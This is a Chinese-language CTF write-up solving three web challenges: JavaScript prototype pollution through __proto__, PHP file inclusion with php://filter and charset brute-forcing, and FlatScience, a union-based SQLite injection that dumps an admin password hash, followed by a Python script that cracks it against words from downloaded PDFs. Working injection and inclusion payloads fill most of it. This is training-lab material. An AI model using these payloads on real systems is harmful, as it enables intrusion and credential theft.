wife_wife、题目名称-文件包含、FlatScience

wife_wife

前言

JavaScript 原型链污染是一种针对 JS 原型继承机制的安全漏洞,核心是通过篡改对象的 prototype(原型),向全局对象(如 Object、Array)注入恶意属性 / 方法,进而影响所有继承自该原型的对象,导致代码执行、权限提升、逻辑篡改等风险。

一、JS 原型与原型链

要理解污染,先明确 JS 的核心继承逻辑:

原型(prototype):每个 JS 对象(除 null)都有一个隐藏的 [[Prototype]] 属性(可通过 proto 访问),指向其 "原型对象"。原型对象中存储着该类对象的共享属性 / 方法(比如 Array.prototype.push 是所有数组的共享方法)。

原型链:当访问一个对象的属性时,JS 会先在对象自身查找;若找不到,会顺着 proto 向上遍历原型对象,直到 Object.prototype(原型链的顶端)。

举个简单例子:

javascript 复制代码
const arr = [1, 2, 3];

arr.push(4); // 实际调用的是 Array.prototype.push

arr.toString(); // 找不到自身的 toString,向上找 Object.prototype.toString

二、原型链污染的原理

若代码允许用户输入修改对象的原型属性,攻击者可通过 proto 或 prototype 关键字,向全局原型(如 Object.prototype)注入恶意内容。由于所有对象都继承自 Object.prototype,这些恶意内容会变成 "全局共享属性",影响所有对象。

直观示例(污染 Object.prototype

javascript 复制代码
const obj = {};
console.log(obj.evil); // undefined(自身和原型都没有 evil 属性)

若存在污染漏洞,攻击者可注入属性:
// 假设代码允许用户输入修改对象(模拟漏洞场景)
const userInput = { "__proto__": { "evil": "恶意值" } };

// 危险操作:将用户输入的属性"合并"到目标对象(未过滤 __proto__)
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      merge(target[key], source[key]); // 递归合并对象
    } else {
      target[key] = source[key]; // 直接赋值
    }
  }
  return target;
}
// 执行合并:用户输入的 __proto__ 被解析,污染 Object.prototype
merge({}, userInput);

// 所有对象都继承了 evil 属性!
const obj1 = {};
const obj2 = new Array();
console.log(obj1.evil); // "恶意值"(本不该有)
console.log(obj2.evil); // "恶意值"(数组也被影响)

解题

题目描述:cat-wifi,本题不需要爆破

注册一个账号,登陆后发现flag,但是不正确

那就去注册页面,勾选管理员,然后抓包

发现invalid invite code,无效的邀请码,既然是JS原型链污染,那就加上__proto__这个继承对象的属性payload

删掉邀请码,不然无法成功

登陆即可发现flag

CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}

题目名称 - 文件包含

打开题目是一段php代码

php 复制代码
highlight_file(__FILE__); // 高亮显示当前文件的源代码(调试/展示用)

include("./check.php");   // 包含当前目录下的 check.php 文件(可能是验证逻辑)

if(isset($_GET['filename'])){ // 检查 URL 中是否传入 GET 参数 filename

    $filename = $_GET['filename']; // 接收用户输入的 filename 参数

    include($filename); // 直接将用户输入作为文件路径包含执行

}

明显是文件包含漏洞,先去御剑中进行目录扫描看看有什么文件

发现flag.php,flag大概率在这个文件里,使用php伪协议访问该文件

php 复制代码
?filename=php://filter/read=convert.base64-encode/resource=flag.php

好吧被过滤了,去爆破字符集

php 复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64

1,2两个位置都设为这个字符集

注意:url编码要取消勾选

开始攻击

发现这几个组合都可以

得到flag:cyberpeace{3bcc779aba293ce3bdee6122045bb68b}

FlatScience

打开题目,看到如下界面

打开链接发现都是英文文献

那应该没有啥有用的信息,那就先将网站使用御剑扫描一下

发现/robots.txt、/admin.php、/login.php文件

访问/robots.txt文件

发现显示的是/admin.php、/login.php文件

访问/admin.php

这里是一个管理员登录界面,给了默认账号名,但是没有密码,继续访问/login.php

和管理员登录界面类似,也是需要输入用户名和密码,查看源代码

发现这个有个debug模式的说明,说明大概率开启了debug模式,那么我们在访问login.php时带上参数?debug=1

看到其中一段php代码,查看后发现是post传参,并且存在sql注入,SQLite3 数据库,已知表:Users (存储用户信息)

php 复制代码
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
       
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

那就直接bp抓包,进行sql注入,其实可以用HackBar插件,但我不知道ID的参数,就用bp看一下,接下来用插件传参也没事。

usr=1'

发现是单引号闭合

查看回显

sql 复制代码
usr=1' union select 1,2 --

发现只有第2个参数有回显,且只有2个字段

查资料知道每一个SQLite数据库都有一个叫SQLITE MASTER的表,里面存储着数据库的数据结构(表结构、视图结构、索引结构等),只可以

对他使用查询语句

sql 复制代码
usr=1' union select name,sql from sqlite_master --

Set-Cookie: name=+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29;

可以看到数据库中又一张Users表,里面有id,name, password,hint等字段

查询账号

sql 复制代码
usr=1' union select id,name from Users limit 0,1 --

账号:admin

查询密码

sql 复制代码
usr=1' union select id,password from Users limit 0,1 --

密码:3fab54a50e770d830c0416df817567662a9dc85c

获取hint值

hint值为:my+fav+word+in+my+fav+paper%3F%21

根据hint的name=+my+fav+word+in+my+fav+paper%3F%21提示可能passwrod在pdf文章的hash码中。结合前面源代码里的password加密,先用wget将网站的全部pdf文件down下来。

sql 复制代码
wget http://61.147.171.103:63512/ -r -np -nd -A .pdf

把获取的pdf与以下py文件放在同一个目录即可

这个是用来爆破解密的(读取当前目录下的所有pdf文件)

python 复制代码
from io import StringIO
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text

def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()

if __name__ == "__main__":

    find_password()

执行这个脚本

得到admin的密码为:ThinJerboa

直接登陆/admin

发现flag:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

相关推荐
MATLAB代码顾问6 小时前
5大智能算法优化标准测试函数对比(Python实现)
开发语言·python
ting94520006 小时前
Tornado 全栈技术深度指南:从原理到实战
人工智能·python·架构·tornado
果汁华6 小时前
Browserbase Skills:让 Claude Agent 真正“看见“网页世界
人工智能·python
ZhengEnCi6 小时前
04-缩放点积注意力代码实现 💻
人工智能·python
DeepReinforce7 小时前
三、AI量化投资:使用akshare获取A股主板20260430所有的涨停股票
python·量化·akshare·龙头战法
HackTwoHub7 小时前
AI大模型网关存在SQL注入、附 POC 复现、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·网络安全·系统安全·网络攻击模型·安全架构
段一凡-华北理工大学7 小时前
【高炉炼铁领域炉温监测、预警、调控智能体设计与应用】~系列文章08:多模态数据融合:让数据更聪明
人工智能·python·高炉炼铁·ai赋能·工业智能体·高炉炉温
万粉变现经纪人7 小时前
如何解决 pip install llama-cpp-python 报错 未安装 CMake/Ninja 或 CPU 不支持 AVX 问题
开发语言·python·开源·aigc·pip·ai写作·llama
其实防守也摸鱼8 小时前
CTF密码学综合教学指南--第五章
开发语言·网络·笔记·python·安全·网络安全·密码学
callJJ9 小时前
Spring Data Redis 两种编程模型详解:同步 vs 响应式
java·spring boot·redis·python·spring